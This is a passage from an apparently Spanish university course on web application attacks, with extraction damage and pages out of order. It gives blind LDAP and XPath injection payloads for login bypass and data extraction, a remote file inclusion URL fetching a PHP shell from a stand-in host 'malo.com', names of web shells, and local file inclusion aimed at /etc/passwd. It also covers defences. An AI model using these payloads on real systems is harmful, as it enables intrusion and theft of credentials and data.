
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 41: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

